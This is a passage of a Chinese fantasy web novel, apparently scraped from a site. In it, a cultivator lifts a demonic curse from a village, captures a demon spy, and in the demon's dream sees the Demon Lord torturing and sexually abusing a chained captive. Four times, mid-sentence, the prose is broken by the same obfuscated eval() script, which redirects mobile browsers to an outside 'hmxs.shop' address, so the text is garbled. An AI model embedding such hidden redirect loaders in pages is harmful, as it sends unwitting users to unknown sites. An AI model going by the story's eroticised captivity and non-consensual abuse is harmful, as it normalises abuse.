长青看劝不动他,不说话了。
村民们陆陆续续从房子里抬出了死状凄惨的尸体,这些尸体的共同点是浑身漆黑,表情狰狞,看上去十分可怕。
雪松看了一阵,忽然觉得这些症状有些眼熟,便走了出去,长青想要拉住他,没拉着,只好跟着他,一起往前走去。
村民们看见他们这两个突然冒出来的陌生人。都吃了一惊,迅速往后退,站成一堵墙,十分防备盯着他们,好像一群随时准备逃跑的刺猬。
“你们是什么人?”村长走出来,盯着他们看了一阵问。
“路过的,”雪松瞟了一眼他们身后的尸体,随后看着村长说,“我看这些尸体有些眼熟,仿佛曾经在什么地方见过相似的,能让我仔细看看吗?也许我有办法呢?”
长青皱了皱眉,将信将疑看他。
他什么时候见过相似的?他从被长老带到宗门之后,行动处处都有人知道,没听说过他见过这样的东西。
那就是被长老带进宗门之前?他独自在那座山上的时候,见过这样的尸体吗?不可能,那座山上要真有这些尸体,山下的村民又怎么可能一无所知?更何况安然无恙。
那就是更久以前了?他还待在仙尊身边的时候吗?他又想起了一些东西?他想起了多少?
那个阵法果然起了效果吗?不只是让他失去一部分记忆,也不只是让他记忆混乱,终于,终于还是让他想起了?
他昨天晚上一直盯着那片仙尊留下来的叶子看,就是因为其实那时候已经开始想起一些关于仙尊的东西了吧?
所以才会用那样专注又仿佛回忆而无可奈何的目光,注视一片仿佛普普通通的叶子那么久?那他对仙尊的感情一定更深了。
村长皱着眉头怀疑雪松是为了接近尸体而骗他,但又不知道那些尸体能有什么好处,以至于要别人这样骗他,想了想,看向周围的村民,村民们都望着他。
他收回目光,作出决定,对雪松说:“那你就来看看吧。”
雪松点了点头,从村民们分开的路中走了进去,靠近了那些尸体,找了一具最近的,蹲了下来,仔细查看,尸体上有诅咒的痕迹。
他认得这种诅咒,这是魔族的诅咒之一,他也知道这种诅咒的解决办法,要解除这种诅咒的影响,即使是对于他现在的修为,也是很简单的事,只不过看起来凶残一点。
所以解决问题的时候,身边最好不要有其他人,免得受到影响,反而加强了诅咒的力量。
他站起身对村长说:“请给我一间房子,再给我一点时间,不要让人打扰我,我很快就能解决你们的问题。”
村长皱着眉头,听了他说的话,觉得他更像是一个骗子了,因此犹豫着试探问:“那你要我们付出什么?”
雪松摇了摇头:“什么也不要。”
村长吃了一惊,如果为钱为物为人,他们都可以想想办法,也都可以证明,面前这个人不是突然发了好心要帮他们的忙。
可如果对面什么都不要,倒好像真的只是纯粹过来帮忙的,显得他以小人之心度君子之腹了,他倒不在乎这个,问题在于,天上真有掉馅饼的好事吗?这种事,真的存在?
该不会其实是,为了一口气把他们全都害死来的吧?因为目的是害死他们,所以什么都不要,因为怕被他们发现,所以要求不要打扰?听起来很合理吧?
“那我们能让人旁观吗?”村长十分警惕问。
“不行,”雪松摇了摇头,毫不犹豫拒绝,“我没有办法在被人旁观的时候解决问题。”
“能告诉我们究竟怎么解决吗?”村长觉得他十分蹊跷,试探问。
“不能,”雪松摇了摇头,“一般人知道也做不到,要是贸然尝试,反而容易出事故。”
村长想了想,事已至此,死马当活马医吧,反正什么都不用付,先试试再说,深吸一口气,对雪松说:“我会让人给你收拾一间屋子出来,不叫人打扰你,希望你真能为我们解决问题,但是,你的同伴怎么安排?”
“让他和你们一起在外面等我就好,”雪松回答,“我很快就会解决的。”
他看向长青问:“可以吗?”
长青是想和他一起进去的,但想他一个人在屋子里,应该不会有什么事,屋子外面又有那么多的人,好像是真来解决问题,不是为这里多添一具尸体的,犹豫着答应了:“好。”
屋子很快收拾出来,雪松走了进去,关上了门窗,检查了一番,布置了一个隔音阵法,开始解除诅咒。
先用血在房子里画一个解除诅咒的阵法,再掏出心脏,放在阵法中间,念诵解除诅咒的咒语,之后等待阵法生效。
制造诅咒的魔族暗中观察着村子的情况,发现村子里的中了诅咒的人居然有所好转,大惊失色。
“这是只有我们魔族才能够解开的诅咒,没有自己解开的办法,怎么会有魔族之外的人能够解开?这不可能!”
“你们看见刚才进去的那两个人了没有?其中一个长得和已经死去的仙尊简直一模一样!难道仙尊还活着?”
“仙尊死的时候大家都看见了的,不可能活着,但那个人确实和仙尊长得
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16694930|186838||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
像,如果没有血缘关系,大约是巧合吧。”
“他的气息和解除诅咒的力量是一致的,他就是解除诅咒那个人!他究竟是从哪里知道解除诅咒的办法的?他不是魔族!”
魔族们面面相觑,忽然意识到一件事,不由得倒吸一口凉气——
魔尊还在的时候,因为与仙尊为敌,所以格外仇恨与仙尊长得相似的人,但凡遇到了或者听说有谁遇到了,都必定要抓起来,关进寝殿底下的地下牢房,日日夜夜狠狠折磨一番,才勉强满意,沾着一身血腥味,慢条斯理走出来。
这次他们遇到的这个解除诅咒的人和仙尊几乎一模一样,当初魔尊活着的时候,要是见了他这样的人,必然不可能放过。
他们从前又没有见过这样的人,又没有听说过这样的人,但是魔尊死了之后,这个人就突然冒出来了,可想而知,这个人那时候要是活着,绝对在魔尊的地下牢房里。
如果他是从魔尊那里得知诅咒的解除办法,那就没什么可奇怪的了,毕竟,魔尊知道魔族的诅咒很正常,知道诅咒的解决办法也很正常,在把讨厌的人关进地下牢房之后,觉得这个人根本不可能离开,而随口说了解除诅咒的办法,也不是不可能。
魔族们想到这一点,立刻打算去找当初,在魔尊座下的长老求证。
长老听他们说了前因后果,懒散的神色逐渐转为若有所思,随后挑了挑眉,露出兴致盎然的微笑,面带回忆道:“魔尊当初确实到处搜集和仙尊长得像的人,找到了就抓起来,关进寝殿下方的地牢里,就为了随时随地想起来都可以去折磨,搞死了不知多少。
但魔尊究竟有没有把诅咒和解除诅咒的办法告诉关在地牢里的人,我就不知道了,毕竟,那也是个隐蔽地方,只有魔尊才去的。”
底下几个魔族将信将疑,若有所思的样子。
长老忽然笑道:“不过,魔尊曾经为了报复仙尊而制作过一个和仙尊一比一的人偶,也关在地牢里,想起来了就去见一面。
比起去见地牢里的其他人,可频繁多了,最重要的是,那个人偶的生命力,比活人顽强多了,说不定现在还活着,也许就是你们见的那个呢?”
底下的魔族们猛然一惊。
这么说,他们看见的那个,几乎和仙尊长得一模一样的修士,果然是因为和魔尊有关系,才会知道诅咒的解决办法吧?!
“既然你们见到了他,”长老若有所思,笑了笑,“我交给你们一个任务吧,你们去跟踪他,看看他究竟要做什么,毕竟,他好歹是曾经的魔尊亲手制造出来的,就这么放在外面不管,似乎也不太好,是不是?”
底下的魔族们立刻接了这个任务,表示现在就去跟踪,一定藏得好好的,不叫人发现,非要看看,那个人偶究竟要做什么。
长老满意点了点头,微笑道:“那就去吧。”
魔族们转身离开。
40.第 40 章
解除了诅咒的雪松,收拾了一下房子里的血迹和自己身上的伤口,整理了衣服,推开门走了出去,村子里的诅咒已经被驱散了。
等在外面的村长十分激动,杵着拐杖感谢他:“要不是你,我们还不知道要受这些折磨受多久,时间也晚了,请留下来住吧!我们已经把最好的房间收拾出来了!为了庆祝,我们打算今天晚上开篝火晚会!一起参加吧?人多热闹嘛!”
雪松是想走的,但想了想对面这么热情,自己身上又带着伤,赶路也赶不了多快,反而容易被长青发现不对,长青本来就怀疑他要做什么似的,真要是被长青发现他身上有伤,只怕,又要胡思乱想了。
犹豫之后,雪松答应说:“那就恭敬不如从命了。”
村长笑呵呵点了点头:“好好好!今天晚上我们村就杀年猪来庆祝庆祝!大家也好好吃一顿,补补身体!大难不死必有后福啊!”
村民们笑着点了点头,欢呼雀跃起来。
长青皱着眉头往周围望了望,他之前莫名觉得周围有人窥视,而且似乎是魔族,因为他察觉到了一丝魔气,但是那丝魔气只是波动了一下就消失了,好像附近窥视的魔族也跑走了,他不确定是不是自己感觉错了。
本来只当做没有发现也就算了,可就在刚才他又感觉到那种暗中的窥视,这让他汗毛倒竖,他往人群里看了一圈,没看出破绽,那么,偷窥的多半在更远的位置。
他想劝雪松尽快离开,但当着村子里众人的面又不好开口,只能等到村民们把他们请到早就收拾干净的屋子里坐下,为了准备篝火和晚餐逐渐散去,屋子里只剩下他和雪松,才试探着问:“你真要留在这儿?吃了饭过了夜才走?从前我没发现,你还喜欢这些?”
雪松挑了挑眉:“我不能喜欢?”
长青被哽了一下。
雪松对他笑道:“盛情难却,你要是着急可以先走,等我过了夜再去赶你,只要你的速度不是太快,也许我们在路上还能再见,或者,我稍微慢一些,那你在目的地等我就好,只要你给我一张定位符,我总找得到路的。”
长青皱着眉头,有些烦躁:“我不是着急这个。”
“那是为什么?”雪松看着他问。
“我感觉有人,”长青往周围看了看,布了个隔音阵法,对雪松低声道,“在暗处看着我们,之前以为是错觉,但现在看来不是,你没感觉到吗?”
雪松若有所思,这个村子中了魔族的诅咒,想也知道和魔族脱不了干系,不过村子里似乎没有魔族的人也就算了,现在长青感觉到注视,那多半是暗中窥探的魔族了?
他们胆子居然这么大吗?暗中下了诅咒,被发现之后不仅不跑,还留下来?他们该不会是觉得,能解除诅咒的都是魔族人,所以他也是魔族,路过来解除了他们布下的诅咒,只不过是为了在修士面前装样子?
“你这么一说,似乎确实有些,”雪松不想和长青仔细讨论这个问题,含糊其辞道,“不过他们只是偷窥,而没有做什么,大概心有顾虑,不用太担心。”
长青感觉他的态度有点奇怪,将信将疑,点了点头,决定观察一番,顺着他说:“那好吧。但你今天晚上还是少喝些?”
雪松点了点头:“我知道。”
长青没有再说什么。
夜晚来临,篝火搭好,人们围绕在空地上,手拉着手载歌载舞唱唱跳跳起来,气氛十分融洽,厨子兢兢业业,食物的香气从不远处飘来,闻起来十分新鲜可口,使人迫不及待。
村长端着酒杯带头,感谢了雪松和长青前来提供的帮助,将杯中酒一饮而尽,随后邀请大家一起吃东西。
雪松对食物没什么兴趣,更何况以他现在的修为,不吃不喝也不会死,因此他浅尝辄止,动了两筷子,就停了下来,往杯子里倒了一杯水,开始打发时间。
这个时候大家已经高兴起来了,没之前那么注意他了,他把杯子放下,转头回了村长安排给他的房间,关上门,准备早些休息,方便养伤。
可是刚过没一会儿,他就察觉有人在门外徘徊,一开始以为是长青,后来发现不对,因为门外不是长青的气息。
他警惕起来,村民们这个时候应该都在空地上,长青又没过来,那门外徘徊的人是谁?徘徊而不进来,心里有鬼?是魔族的人?
他们想干什么?他假装没有发现,仍旧闭着眼睛躺在床上,好像已经睡过去了,实际上悄悄在系统仓库里翻找出了,当初从魔族那边缴获的战利品,一颗防魔珠。
这颗珠子的作用是让魔族的咒语对珠子的拥有者失效,如果门外真是魔族,现在用这个东西再合适也没有了。
门外响起了一阵念咒的声音,声音含糊而低,隔着窗户几乎听不见,但能量波动传了进来,显然门外之人的目标是雪松。
雪松躺在床上感受到了咒语的能量波动中所蕴含的魔力,确认门外就是魔族,辨别了一下咒语的用处,发现这是一个使人昏睡的咒语,握着珠子,暗中给自己加了一个清醒咒,保证不会因为意外昏睡过去,同时一动不动躺在床上,假装咒语已经生效。
门外的人观察了一阵,发现他没有动静,似乎真的已经完全睡着了,才悄悄从门外溜了进来,站在床边看了他一会儿。
他正疑惑,这人究竟要干什么,就听那人在他床边又念起咒来,这一次的咒语,作用是有问必答。
他迟疑了一下,从床上坐起来,听见那个下咒的魔族问:“你和魔尊是什么关系?”
这还能有什么关系?当然是仇人关系了!他为居然有魔族大半夜到他床边来问他这个问题而感到震惊。
他毫不犹豫,捏了个瞬发的束缚诀,用一道金光把魔族捆了起来,魔族猛然一惊:
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16701215|186838||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“你居然不曾受到咒语的影响?”
不是魔族,但是不会受到咒语的影响,这几乎是不可能的事,除非,对面有堪称魔族宝物的,防魔珠。
可是防魔珠那种东西在很久以前就失传了,有人说最后一颗防魔珠被魔尊收藏进了宝库,有人说曾经见过防魔珠被仙尊拿走,但仙尊魔尊都已经死了,毫无疑问,他们是不可能突然复活的。
那如果还有人拥有防魔珠,不是从仙尊那里得到的,就是从魔尊那里得到的,和其中任何一个人的关系也绝对不可能是普普通通!
因为普通关系根本不可能得到这种宝贝!
除非去偷去抢,但是人都死了,上哪儿抢去,就算想偷也得知道在哪儿,如果关系不好又怎么可能知道别人把宝贝放在哪儿?
更何况,就凭面前这人和仙尊长得几乎一样的脸,不管是面对仙尊还是面对魔尊,对面大约都不可能无动于衷,给宝贝倒也不是不可能。
“你果然和魔尊有关系!”被捆起来的魔族瞪大眼睛,禁不住喊了出来。
门外寻找雪松路过的长青,听见屋子里的声音顿了顿,脚步一转又走了回来,站在门外,不知里面是个什么情况,有些犹豫要不要敲门。
“我和魔尊当然有关系,”雪松嗤笑道,“仇人关系罢了,还能有什么?”
长青若有所思。
雪松果然想起了曾经的事,连和魔尊有仇都记起来了?以他现在的年纪,他这辈子根本没见过魔尊,哪里来的仇呢?那就只能是从前他在仙尊身边的时候了?
从前根本没有人听说过他,仙尊把他保护得很好,那他是怎么和魔尊结仇的?总不能是因为仙尊和魔尊有仇,所以他和魔尊有仇吧?如果是这样,怎么会有仙尊以外的人,知道他和魔尊有仇这件事?
被捆起来的魔族摇了摇头,虽然身处下位,却莫名有股居高临下的感觉,傲然看着他,好像被捆起来的其实是他一样,甚至带点怜悯说:“你承认了?你就是魔尊当年关在地牢里,亲手制作出来的那个人偶?”
“就凭我这张和仙尊一模一样的脸,你怎么说得出这种话?”雪松倒不知道有这么一回事,但更倾向于对方脑子坏掉了,因此挑了挑眉问。
“正是因为你和仙尊一模一样,我才这么说,”魔族把他上下打量了一番,闭上眼睛像曾经在魔尊面前祈求饶命一般,有种诡异的战栗,“看来你全都忘了,这也难怪。”
魔尊的手段从来都恐怖至极,寻常魔族在他面前都不得不匍匐,要是被他关在地牢里,日夜和他相对,受他发泄怒火的痛苦折磨,一旦有机会,恨不得全忘了,也是人之常情。
雪松不了解魔尊的事,但非要跟他理论一番:“难怪什么?你凭什么这么说?有什么证据吗?”
魔族恍恍惚笑了一声:“魔尊的防魔珠在你手里,就是证据!”
41.第 41 章
雪松一下子陷入了沉默。
他手里的防魔珠确实曾经是魔尊的,但他拿到这颗防魔珠并不是魔尊送他的,而是他打败了魔尊,自己拿的。
魔族看他沉默,反而愣了一下,虽然觉得自己想的是真的,但看他默认一般的表现,还是吃了一惊,受到了极大的冲击,更加恍惚起来。
他果然是魔尊当年亲手制作的人偶!如果不是,他为什么不反驳?他说不出来了!这么说,他手里的防魔珠竟然真是魔尊给的?
魔尊居然把这种东西给他,凭什么?凭他是阶下囚,还是凭他像仙尊那样的脸,又或者凭他是魔尊亲手制作的人偶?说不通。
难道是因为魔尊不想把他放出地牢,他又不愿意待在那里,为了安抚他,魔尊才把防魔珠给他?
魔尊那样肆意妄为的人,手握权柄,占据高位,睚眦必报,对阶下囚有什么安抚的必要?
除非,他们并不只是主人和人偶或者主人和阶下囚的关系,那还能有什么?
难道魔尊和这张脸日夜相对,起了戏弄的心思,人偶为了讨好他,也为了少受些苦,顺从他的意志,就做了他的玩物?
他们——
他们,是主人和金丝雀的关系?!!!
魔族的眼角抽了抽,神色逐渐古怪起来,因为他不由自主,开始想象,当初魔尊究竟是怎样面对眼前的人,才会把东西给出去。
雪松从他的表情里察觉到他好像在想什么自己不想知道的东西,考虑到之前的问答,如果被人知道,多半会加深误会,对自己造成影响,不如暂时不问,立刻把他打晕了过去。
他本来就被捆住,又在恍惚之中,注意力也不集中,连身体本能的躲闪都没有,一点反抗也来不及,就晕倒在地上,砰的响了一声。
雪松忽然注意到,门外似乎有个影子站着,不知道是谁,但看起来有些眼熟,想来这个时候也不会有别人站在他门口。
他三步并作两步冲过去,一把拉开了门,门外神色震惊的长青正站在那里,一个想要靠近又想要离开的姿态,十分纠结的样子。
雪松侧身站在门口,面色十分平静,好像只是在看鱼缸里游动的金鱼,而不是发现有人偷听自己屋里的动静,有种使人下意识听从的命令感,看着他说:“来找我吗?请进吧?”
那种感觉十分熟悉,微妙的居高临下,久违的冷,强大力量所带来的镇定,定海神针般的存在,像是仙尊,但如果带着本来对仙尊的印象来看面前的人,又会觉得不像。
长青来不及过多思考,顺着雪松的意思走进了屋子,进去之后,才突然反应过来,他其实不该进来,因为假如含糊其辞,装作刚刚来到附近的样子,雪松大概是不会和他计较的。
但如果他进来,那就等于认了自己是之前就在这儿,也就等于告诉雪松,他确实听见了刚才屋子里的对话,知道了一些仿佛不该知道的东西。
他并不担心雪松会对他杀人灭口,毕竟,他现在的修为还是稍稍高于雪松的,他们又是同门师兄弟,看在那点浅薄的情谊上,雪松应该不会对他动手,上面还有长老宗主,不可能为所欲为,更何况,雪松也不是杀人如麻的类型。
可是和雪松共处一室,尤其适合仿佛刚刚才知道了一些连自己都不知道的东西的雪松共处一室,他还是控制不住有些紧张。
不管是因为雪松这张仙尊一样的脸,还是雪松几乎板上钉钉的仙尊道侣的身份,又或者是,他刚才听见的雪松和魔尊的纠葛。
长青站在原地缓缓转过身去,感觉喉咙里有一块大石头,怎么也吞不下去,心脏怦怦狂跳,不知是因为紧张还是因为兴奋。
他注视着已经把门关上的雪松,猜测着雪松可能对他挑起的话题,尽可能保持面上的平静,心里纷繁杂乱的思绪已经如一层又一层的海浪般,堆叠在一起又破碎开来,分不清最开始是什么。
即使如此,他还是努力思考着,他应该如何回答雪松可能对他提出的问题。
雪松往前走了一步,他猛然一颤,像只即将跳起来的兔子,往后退了一步,拉开了距离。
雪松停在原地,挑了挑眉,他意识到自己的反应有些过度,无可奈何笑了一下:“你有什么事要找我?”
“难道不是你有事要找我?”雪松看着他问:“不然你怎么会在我房间门口呢?”
他沉默了一会儿说:“我看那边挺热闹的,大家都在,你不在,不知你做什么了,出来找你,只是路过你门口而已。”
雪松仿佛是信了,点了点头:“那你刚才都听到了吧?”
长青迟疑着说:“算是吧。”他顿了顿,还是忍不住想为自己辩解:“其实也没有听到很多,我是后来才来的,一开始不知道。”
雪松似笑非笑注视着他,倒了一杯水问:“后来是什么时候?一开始又是怎样?不说清楚,我也不知道你说的是什么。”
长青紧张得心脏怦怦直跳:“一开始?”他舔了舔嘴唇,眼神飘忽,顾左右而言他,支支吾吾道:“我不太记得了,我不知道,我怎么会知道?那会儿我不在呀。”
雪松笑着点了点头,把水递给他:“那你从什么时候开始听的?”
他伸手接过那个杯子,不太敢去看雪松的脸,转着目光,犹豫着说:“这个也不太记得了。”
“那你记得什么?”雪松站在他旁边看着他,像阳光下即将被晒化的雪人一样。
他莫名觉得有点冷,虽然知道雪松不会杀他,但还是感觉到了一股杀气,打了个哆嗦说:“我好像听见屋子里砰的一声响,我以为有什么事儿呢,差点就要敲门了,结果你先开了门,把我看见了,其实真没听见什么。”
雪松笑了笑:“是吗?可我看你在那站了有一会儿了。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16710787|186838||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“怎么可能?!”长青脱口而出,瞪大眼睛:“你没开窗也没开门的!”
雪松笑着拍了拍他的肩膀,像叼着一根蛛丝从屋檐上悬空垂下来的蜘蛛一样,轻飘飘问:“看得很仔细啊!一定都听见了吧?”
长青迟疑着,不知该说什么,脑子里确实是一团浆糊,过一阵子冷静了,或许会想起来,但现在,他叹了一口气:“听见了一些。”
雪松点了点头,不置可否道:“那我能请你帮个忙吗?”
“什么?”长青努力勉强集中注意力,总算看向他,心脏仍然怦怦乱跳问。
“我不知应该怎样处理这个魔族,”雪松抬了抬下巴,向长青指了指地上被捆住的人,神色平静说,“你一定有处理经验吧?我怕他醒过来就跑了,也担心村子里的人知道他,会情绪不稳定,跑过来闹,不好收场,你觉得应该怎么办才好?”
长青看着那皱着眉头昏迷不醒的魔族,能感觉到这个魔族似乎正在自己想象力构建的幻梦里,忽然想,他虽然不了解魔尊,但魔族的人肯定比他了解魔尊,刚才又说了那么惊人的话,一定知道些什么,清醒着问,不一定答,可现在昏迷了,在梦里,总不能也全是假的吧?不如趁此机会,探究一番。
兼听则明,偏信则暗嘛。
不能总靠自己胡思乱想,也得看看别人是怎么想的,不同的人知道的事情不一样,就算看回忆的角度也未必相同,哪怕全是假的,也可以满足他的好奇心。
更何况,梦里总是不那么设防,如果运气好,也许在梦里看见的东西,全都是真的,那能知道的东西可就多了!
雪松注视着长青,长青抬起头来说:“今天时间晚了,这个人先放在我那里吧?我替你看管着,这样安全些,你也可以休息,明天,把他藏起来,免得被村民们看到,之后我们离开这里,我再找宗门的人过来把他带走?”
雪松点了点头,同意了他的办法,但是说:“你把他带走,我反而不安心,不如你就在这看着他,今天晚上也待在我这儿,不管我休不休息,睁开眼睛就能看见他,既不用担心他逃跑,也不用担心他跳起来报复,两个人也比一个人不容易出错些,是吧?”
长青犹豫了一下,答应了:“好。”
雪松点了点头:“那就交给你了,我去里面休息一下。”
长青看着雪松躺回了床上,等了一会儿,没听见什么动静,确认雪松不会突然睁开眼睛,背对着他,悄悄念起咒来。
念的是入梦咒,入的是面前这个被捆住昏迷不醒的魔族的梦,长青今天晚上非要看看,这个人在梦些什么不可。
一入梦中,长青就给自己施了隐身术和隐匿咒,避免被梦境之中的人看见,也避免气息泄露,导致梦境动荡。
之后,他开始打量周围的环境,这是一座暗紫色的宫殿,充斥着浓郁血腥味和魔族的气息。
42.第 42 章
一阵风从外面吹进来,浓郁的血腥味被打散了,像是一团半凝固的血水被倒入了滚烫的开水锅中,几乎瞬息间旋转起来。
长青敏锐发现了这些血腥味,最后的归处向着那个方向走了过去,发现那里有一道门,他从这道门往里走去,底下是一段台阶。
走过这段阶梯,是阴森幽暗的漆黑色地牢,地面是用石子和石砖做的,幽绿色的青苔从缝隙里爬出来,像是地狱里的冤魂,有种诡异的色泽。
长青顺着这段路往里走去,道路两边都是牢房,每一个房间里都沾满了血腥,有些刚刚清理过,看起来干净些,有些似乎废弃了,蒙了一层灰,有些刚刚使用过,整个房间都是猩红色。
地面越发潮湿起来,像走在柔软的舌苔上,有怪兽正张着嘴等待食物顺着喉管往下落,不存在的胃已经开始咕咕叫了。
长青顿了顿,有些怀疑自己走错了,想要转身离开,但就在这个时候听见了不远处传来的,极其耳熟的闷哼声。
他愣了一下,辨认出那声音,是雪松的,加快脚步走了过去,停在了一间牢房门口,门是开着的,房间里布置着层层叠叠的阵法,保证待在里面的人会遭受到足够多的折磨和痛苦,受了伤,也不会立刻自愈,甚至会被拖得更久,运气差一点,说不定会眼睁睁看着自己的伤口,一点一点长出蛆虫来。
长青倒吸了一口凉气,往前走了两步,站在门口,仔细往里一看,雪松被铁链捆在十字木架上,披头散发,衣衫凌乱,垂着眼睛,眼中漆黑一片,看不出神色,只觉得可怕,像是已死的冤鬼借尸还魂;
眼眶有些发红,仿佛是在忍耐什么,又仿佛是刚刚哭过,湿漉漉的,甚至有些微妙的不明显的肿胀,这并不影响他的容貌,反而使他整个人平添了一丝脆弱的气息,像一只布满裂痕的水青色瓷碗,波光荡漾,柔弱坚韧,让人想要试探试探他究竟到什么程度才会崩溃,一种不可说的充满诱惑的吸引力;
眼下乌青,大约是日日夜夜都不曾好好休息过,才会积累如此重的颜色,这也难怪,阴暗潮湿又不见天日的地方,浑身上下都被捆着,还不能躺下,谁会在这种地方睡着?谁敢呢?
站在雪松面前的人背对着地牢房间的门,但浑身上下的魔气,足以证明他的身份——
他应该就是那个现在已经陷入昏迷的魔族口中无法无天的魔尊。
魔尊的穿戴算不上整齐,因为衣领大敞开着,脖子上挂着长条的银链,看起来有一种不修边幅的感觉,但是,一层里衣,一层外袍,以及那张姣好的脸,又将他传递给人的糟糕印象拯救了一些,仿佛只是天性风流,所以比别人洒脱罢了。
尤其当他面对的,是个只有一层松松垮垮似乎不合身的白色单衣的雪松的时候,显得更正经了一些,雪松倒因此被衬得像是勾引。
不过在受制于人的情况下,雪松大概是不能决定自己要穿什么的,说不定只有那一件衣服,也只能穿那一件。
真要论起勾引这件事来,多半是魔尊想要让雪松看起来像是在勾引自己,才让雪松穿着那件衣服,或者说保留,而非雪松自愿。
长青不由自主摇了摇头。
雪松身上的伤密密麻麻,有已经结痂的,也有已经变成疤的,还有正在流血的,当然也有刚刚发红的,一层叠一层,像爆发了一阵又一阵的长条的被抓烂了的荨麻疹,看起来几乎有些可怖。
衣服虽然遮了一部分伤口,但那毕竟也只是一层,更何况,那件衣服真的很薄,就像是被夏季的烈日晒得浑身出汗才会不得不在自己家院子里穿的,手脚脖子都是毫无疑问会被露出来的。
那上面不仅有密密麻麻的伤口,还有各种各样的牙印和吻痕,有新鲜的也有不新鲜的,就像其他类型的伤口一样。
长青皱着眉头,倒吸了一口凉气。
在他来之前,地牢里除了雪松和魔尊就没有第三个人,那牙印多半是魔尊留下的,吻痕也不出意外。
看那些痕迹令人惊讶的数量和深浅不一的重叠程度,还有雪松现在这种见怪不怪的反应,魔尊大概早就对雪松下手了。
也不知究竟做过多少次才会有这么多这么深的痕迹,看雪松脖子上最轻的那一道牙印留下的痕迹,可以判断是今天早上刚留下的。
魔尊这个畜生!难道每天都这么做吗?他以为,他面对自己亲手制作的人偶,就可以如此不知轻重?!太过分了!!!
长青有心想冲上去帮忙,但也很清楚这是个梦境,而且他还不是梦境的主人,如果,强行要干扰这里的一切,恐怕会令梦境直接破碎,梦境主人提前醒来,不仅对他不安全,也会影响到外面那个魔族的精神状态和身体情况,实在得不偿失。
更何况,他才进来找到人,还没看见什么,立刻就打破梦境出去,岂不是白来了?他想了想,觉得不划算,也就按耐住了。
魔尊不知从哪里摸出了一把漆黑色的扇子,拿着扇柄用扇尖,挑开了雪松身上那件松松垮垮的白衣,看了看他的胸膛,他的胸膛上也密密麻麻,都是伤痕,但和别的地方有一点不一样,那就是心口的位置——
有一条手术般的刀疤,好像他的心脏曾经被人取出去过,刀疤上还覆盖着缝线,精致得有些过分专业了,仿佛专门研究过,怎么才好看,不像是随便缝的。
长青定睛一看,那线看起来有点眼熟,他想了想,忽然想起来了,那缝线歪起来看,是魔尊的印记。
魔尊真是!好霸道的占有欲!好强烈的折磨心!连别人心口的皮肤也要占有,刻下自己的印记!真是令人叹为观止!
长青握着拳头,义愤填膺,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16715714|186838||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
正当他以为魔尊下一步是对雪松开口说点什么或者下咒的时候,魔尊却忽然用扇子挑起了雪松的下巴,直接亲了上去,亲得啧啧作响,好像恨不得谁听见似的,有一瞬间,长青几乎以为自己被发现了,但他仍然记得这是一个梦,他不应该被发现才对。
他咬着牙挪开了目光,觉得自己出去之后应该洗洗眼睛。
平心而论,不管是雪松还是魔尊的脸都是好看的,毕竟一个是精心制作的人偶,一个是修为高深的魔族,好看是正常的,但是,魔尊简直像个牲口,一边收了扇子,按着对方的后脑勺,一边往前贴,不知什么时候,便把对方的衣服一挑,一件轻薄的白衣就落在了地面上,哪怕已经沾了许多的血迹,但在这暗黑潮湿的地牢里,还是十分显眼,如同一轮弯钩白月,坠入暗潮汹涌的深海。
雪松现在已经□□了,但魔尊仍然没把他从十字木架上放下来,好像确实只把他当做一个人偶,真叫人不知道高兴好还是不高兴好,长青感到心情复杂,默默把头往远处更偏了偏。
但挪开目光,只是看不见了,不是听不见了,他还没有堵耳朵,牢房里的声音一点一点传出来,像一层一层拍在岸上的海浪,在金黄的沙滩用蓝色的水撞出白色的泡沫,泡沫里藏着五颜六色的贝壳,贝壳里含着圆润的珍珠,一种混乱又诡异和谐的声音。
湿漉漉的眼泪,乱糟糟落在地面和皮肤上,也有融进衣服里变作深痕的,沉默中的哽咽,断断续续的抽泣,甚至简直有些令人毛骨悚然的,温柔的无可奈何的叹息。
长青几乎可以凭声音想象出里面究竟是什么情况。
